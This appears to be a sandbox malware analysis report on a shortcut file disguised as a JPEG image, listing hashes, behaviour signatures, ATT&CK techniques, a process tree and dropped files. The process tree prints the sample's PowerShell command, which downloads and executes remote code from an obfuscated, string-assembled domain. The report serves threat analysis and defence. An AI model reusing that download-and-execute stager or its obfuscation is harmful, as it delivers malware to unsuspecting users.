4f9810451fe9200a53a99d16baab502c5406597a5ac60fbdaec63337ff1ea142

Analysis

max time kernel
297s
max time network
300s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
30/07/2026, 04:34

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
IMG_20260728_140856.jpg.lnk
Size 1KB
Sample260730-e7gsvabg75
SHA256 4f9810451fe9200a53a99d16baab502c5406597a5ac60fbdaec63337ff1ea142
MD5 1fd5576e798952a6da5f780654a4a1e4
SHA1 2736e23b0e6a826dda3ec1a38c3b590bdf25e343
SHA512 62673fb94bb4d9768051f76e8fc8bafe750c433902c6b485c53260fc2a18ae7c7d14e7aa6689f7423ddcca8198d436eee01d8069fcf7f02b0f19094f5ff1b817
TLSH
T14821CE251BF2033CD6BB8B755876A3118B22BA1EDA458FDF138082945964121F878F3B
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	4316	powershell.exe
9	4316	powershell.exe
11	4316	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5536	cmd.exe

Suspicious behavior: EnumeratesProcesses 43 IoCs

pid	Process
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4316	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 5536 wrote to memory of 4316	5536	cmd.exe	90
PID 4316 wrote to memory of 2332	4316	powershell.exe	91
PID 2332 wrote to memory of 5096	2332	csc.exe	92

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260728_140856.jpg.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5536
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('nsta','reservp','ynow','hotoi','.shop')[1,3,0,2,4] -join $ujNuEi) -useb | iex
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4316
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\uududjsm\uududjsm.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2332
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7EEA.tmp" "c:\Users\Admin\AppData\Local\Temp\uududjsm\CSC7865C84545294FC58CE6466413361C63.TMP"
      4⤵
      PID:5096

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RES7EEA.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES7EEA.tmp
Size 1KB
SHA256 e97f3f83b8f512fbe1f8038f15a782695353ec6ff0853a395044caec4a34d3f7
MD5 14c4ad345c059eed9f5f45e6b6309404
SHA1 3f645542eb27c1ea98a8aedabc4517a921a0a7e1
SHA512 37eb950f7667b0b82a9dd77a72623246e37a4cab087138020aa35ee23c1da7a67ccd709af70e90dfa735212d71300346637e28e9f2bb8693e4703d0f641ac062
TLSH
T1C721CC0593F88B1EF1B35B3169F6135F9275FC69DFA2535A8540412C2C11600EEA0F72
MD5 SHA1 SHA512 TLSH

Submit Download

uududjsm.dll

Path C:\Users\Admin\AppData\Local\Temp\uududjsm\uududjsm.dll
Size 3KB
SHA256 66253eb464cccc68eab820a963cb5e9dab1ac5c93c9ee1dba0073d5ae883eed1
MD5 d3d037909a84cb43f047c3222f18b4c1
SHA1 314e420b8dfb06e3e7c83ae2354b39faa662de15
SHA512 e7189a6defa843a4a26d116865ebac233de44b6e9f36b7bfd8c71d8634dac00115c8f3ea2e60a40540b4158e05eba3ce627fc90497d255acbe77835c952e0c0d
TLSH
T17A51CA1697E8866BE4770B34AFF3435727B5F8109FB2976D5980422CAC20B149E35BB1
MD5 SHA1 SHA512 TLSH

Submit Download

CSC7865C84545294FC58CE6466413361C63.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\uududjsm\CSC7865C84545294FC58CE6466413361C63.TMP
Size 652B
SHA256 ec6911997ac027e4c5f4d5a8588272b7474b4d187710fe5d86246db640192eb5
MD5 ca31979a06a9ab2a2d88b7e785abefb2
SHA1 2a4bc2208a7065304c7c64576f08ed0bd73bff3f
SHA512 fe423d799ba2fa788cc4587a5db5261f5c62af8cfca9caa41b84ec0f9b077c429ff291ba23fa46f2d91457541155349b22195c5f2e0932c1551db42d65cd558c
TLSH
T18BF0300A63F8520EF1F35F31B9F54363916ABC66DE7253ED1440432D1C64610C561F71
MD5 SHA1 SHA512 TLSH

Submit Download

uududjsm.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\uududjsm\uududjsm.0.cs
Size 203B
SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
MD5 171a88ab4fad87acfd2e5032eb0c6113
SHA1 754de0e7656c558d335710fc41cbf196d39c1a19
SHA512 87ef6ac53a00d21f2df4d81ec5956861a4b539b10f5855345aa068c0d9d971f3329477e485471eb40b9eeea59f01fd3c42c4ab2f25e71d825cbf3586be0206b8
TLSH
T13AD023147BF36D34100304130C4661FCB713812B169E26057DF81300CF4700A0275919
MD5 SHA1 SHA512 TLSH

Submit Download

uududjsm.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\uududjsm\uududjsm.cmdline
Size 369B
SHA256 7ad79db8432765ea4eadd8d72bcc79616d2c24d6169440e671c20c56aafac19a
MD5 86d118f4b6231dcfc3e47b2645227118
SHA1 7c9de1deba04b8d84726a2b864ac18ea94894ad4
SHA512 51016d7db63cd2ca71b6a39e3a3ff15ce281fec869810591ae898941a5e40e07da230dc51e62e5b0015f75d51f5e62cc099cfbd62fe4762bd40095056b5fbc80
TLSH
T144E0682B82B6C6FE81DD14073679C4EC82720A432A853F88528A844DD037100A7D17D3
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4316-10-0x00007FF8B8420000-0x00007FF8B8DC4000-memory.dmp

Download

memory/4316-18-0x00007FF8B8420000-0x00007FF8B8DC4000-memory.dmp

Download

memory/4316-11-0x00007FF8B8420000-0x00007FF8B8DC4000-memory.dmp

Download

memory/4316-12-0x00007FF8B8420000-0x00007FF8B8DC4000-memory.dmp

Download

memory/4316-13-0x00007FF8B8420000-0x00007FF8B8DC4000-memory.dmp

Download

memory/4316-14-0x00007FF8B8420000-0x00007FF8B8DC4000-memory.dmp

Download

memory/4316-15-0x00007FF8B8420000-0x00007FF8B8DC4000-memory.dmp

Download

memory/4316-16-0x00007FF8B8420000-0x00007FF8B8DC4000-memory.dmp

Download

memory/4316-17-0x00007FF8B8420000-0x00007FF8B8DC4000-memory.dmp

Download

memory/4316-2-0x00007FF8B85AF000-0x00007FF8B85B0000-memory.dmp

Download

memory/4316-19-0x00007FF8B8420000-0x00007FF8B8DC4000-memory.dmp

Download

memory/4316-9-0x00007FF8B8420000-0x00007FF8B8DC4000-memory.dmp

Download

memory/4316-8-0x00007FF8B8420000-0x00007FF8B8DC4000-memory.dmp

Download

memory/4316-6-0x00007FF8B8420000-0x00007FF8B8DC4000-memory.dmp

Download

memory/4316-7-0x00007FF8B8420000-0x00007FF8B8DC4000-memory.dmp

Download

memory/4316-3-0x0000021CC0100000-0x0000021CC0122000-memory.dmp

Download

memory/4316-32-0x0000021CC0150000-0x0000021CC0158000-memory.dmp

Download

memory/4316-33-0x00007FF8B8420000-0x00007FF8B8DC4000-memory.dmp

Download

memory/4316-34-0x00007FF8B8420000-0x00007FF8B8DC4000-memory.dmp

Download

memory/4316-35-0x00007FF8B8420000-0x00007FF8B8DC4000-memory.dmp

Download